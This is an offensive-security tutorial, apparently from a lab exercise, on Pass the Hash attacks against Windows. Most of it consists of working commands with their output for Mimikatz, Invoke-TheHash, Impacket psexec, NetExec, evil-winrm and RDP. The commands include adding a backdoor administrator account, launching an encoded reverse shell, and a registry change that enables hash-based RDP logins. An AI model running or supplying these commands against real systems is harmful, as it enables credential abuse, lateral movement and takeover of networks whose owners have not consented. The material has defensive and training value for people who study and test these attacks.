Pass The Hash Technique In Detail

Pass the Hash (PtH) is an attack where the attacker uses a password hash instead of the actual password to log in. They don’t need to crack the hash—just use it directly. This works because the hash stays the same for every login until the user changes their password.

The attacker must have administrative privileges or particular privileges on the target machine to obtain a password hash.

Different ways to obtain password hashes:-

Dumping Local SAM Database
Extracting Hashes From The NTDS Database (NTDS.dit)
Pulling The Hashes From Memore (lsass.exe)

NTLM is a Windows security protocol that authenticates users using a challenge-response method, so users don’t need to send their actual password. major weakness is that NTLM doesn’t use salted hashes, so attackers can use stolen password hashes to log in without knowing the actual password

Pass the Hash with Mimikatz (Windows)

Mimikatz has a module called sekurlsa::pth that lets us do a Pass the Hash attack by starting a program using a user’s NTLM hash instead of their password. To use it, we need:

If We Got NTLM Hash OF Any User Then We Will Start Any Program From Behalf Of That User Example Below

/user – the username to impersonate
/rc4 or /ntlm – the user’s NTLM hash
/domain – the domain (or use . for local accounts)
/run – the program to run (default is cmd.exe)

c:\tools> mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.cyb /run:cmd.exe" exit

user    : julio
domain  : inlanefreight.cyb
program : cmd.exe
impers. : no
NTLM    : 64F12CDDAA88057E06A81B54E73B949B
  |  PID  8404
  |  TID  4268
  |  LSA Process was already R/W
  |  LUID 0 ; 5218172 (00000000:004f9f7c)
  \_ msv1_0   - data copy @ 0000028FC91AB510 : OK !
  \_ kerberos - data copy @ 0000028FC964F288
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 0000028FC9673AE8 (32) -> null

Suppose Julio Can Connect Its Shared Folder Named JULIO On The DC

Pass the Hash with PowerShell Invoke-TheHash (Windows)

Invoke-TheHash is a PowerShell tool used to perform Pass the Hash attacks over WMI and SMB. It works by passing an NTLM hash into the NTLMv2 authentication protocol. You don’t need admin rights on your machine to run it, but the user and hash you use must have admin access on the target system.

We Can Do Same Thing Using PowerShell Also But With A Different Command

Invoke-TheHash with SMB

PS c:\cyb> cd C:\tools\Invoke-TheHash\
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.cyb-Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

VERBOSE: [+] inlanefreight.cyb\julio successfully authenticated on 172.16.1.10
VERBOSE: inlanefreight.cyb\julio has Service Control Manager write privilege on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU created on 172.16.1.10
VERBOSE: [*] Trying to execute command on 172.16.1.10
[+] Command executed with service EGDKNNLQVOLFHRQTQMAU on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU deleted on 172.16.1.10

We Can Also Get A Reverse Shell From This By Using This Commnad

PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-WMIExec -Target DC01 -Domain inlanefreight.cyb-Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e [Base64EncodedReverseShellCommand]"

[+] Command executed with process id 520 on DC01

Pass the Hash with Impacket (Linux)

If we have valid credentials of windows machine , then we can use PsExec tool of impacket to run remote commands there

Pass the Hash with Impacket PsExec

Ravan@cyb[/cyb]# impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.129.201.126.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.129.201.126.....
[*] Creating service AdzX on 10.129.201.126.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Pass the Hash with NetExec (Linux)

Ravan@cyb[/cyb]# netexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
SMB         172.16.1.10   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:.) (signing:True) (SMBv1:False)
SMB         172.16.1.10   445    DC01             [-] .\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 STATUS_LOGON_FAILURE
SMB         172.16.1.5    445    MS01             [*] Windows 10.0 Build 19041 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:False)
SMB         172.16.1.5    445    MS01             [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)

NetExec – Command Execution

Ravan@cyb[/cyb]# netexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

SMB         10.129.201.126  445    MS01            [*] Windows 10 Enterprise 10240 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:True)
SMB         10.129.201.126  445    MS01            [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)
SMB         10.129.201.126  445    MS01            [+] Executed command
SMB         10.129.201.126  445    MS01            MS01\administrator

Pass the Hash with evil-winrm (Linux)

Evil-WinRM is another tool we can use to authenticate using the Pass the Hash attack with PowerShell remoting. If SMB is blocked or we don’t have administrative rights, we can use this alternative protocol to connect to the target machine.

Ravan@cyb[/cyb]$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Pass the Hash with RDP (Linux)

Note One Thing :- Restricted Admin Mode, which is disabled by default, should be enabled on the target host; otherwise, you will be presented with the following error:

This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa with the value of 0. It can be done using the following command:

Enable Restricted Admin Mode to allow PtH

c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f